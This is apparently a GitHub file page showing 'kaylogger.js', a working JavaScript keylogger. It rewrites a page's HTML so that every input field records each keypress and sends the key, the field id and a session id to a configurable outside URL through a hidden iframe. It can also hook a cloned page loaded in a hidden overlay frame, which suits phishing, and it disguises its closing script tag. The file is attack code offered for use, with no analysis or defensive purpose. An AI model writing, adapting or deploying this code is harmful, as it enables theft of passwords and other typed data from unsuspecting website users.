-
Notifications
You must be signed in to change notification settings - Fork 0
/
kaylogger.js
61 lines (48 loc) · 1.79 KB
/
kaylogger.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
var destination = null;
var useClone = false;
var cloneSource = null;
var cloneDelay = 1000;
function hookInputs() {
var frame = document.getElementById('overlayFrame');
var keyPressScript =
'<script>' +
'var l = Math.random().toString().substring(2);' +
'function relayKeyPress(e) {' +
'var fc = document.getElementById("frameContainer");' +
'var x = String.fromCharCode(e.keyCode);' +
'var y = String.fromCharCode(e.which);' +
'var k = e.keyCode ? x : y;' +
'var f = \'' + destination +
'\' + escape(k) + \',\' + ' +
'(e.srcElement ? e.srcElement.id : e.target.id) + ' +
'\',\' + l;' +
'fc.src = f;' +
'};' +
'</\x73cript>';
var iframe = '<iframe id="frameContainer" style="display:none;"></iframe>';
var sourceDoc = useClone ? frame.contentDocument : document;
var html = sourceDoc.getElementsByTagName('html')[0].innerHTML;
html = html.replace(/<head([^>]*)>/i, '<head $1>' + keyPressScript);
html = html.replace(/<body([^>]*)>/i, '<body $1>' + iframe);
html = html.replace(/<input/gi, '<input onkeypress="relayKeyPress(event)" ');
document.clear();
document.write(html);
}
window.onload = function() {
if (destination == null) {
alert('destination not set');
return;
}
if (useClone) {
if (cloneSource == null) {
alert('cloneSource not set');
return;
}
document.body.innerHTML +=
'<iframe style="display:none;" id="overlayFrame" src="' +
cloneSource + '"></iframe>';
setTimeout("hookInputs()", cloneDelay);
}
else
hookInputs();
};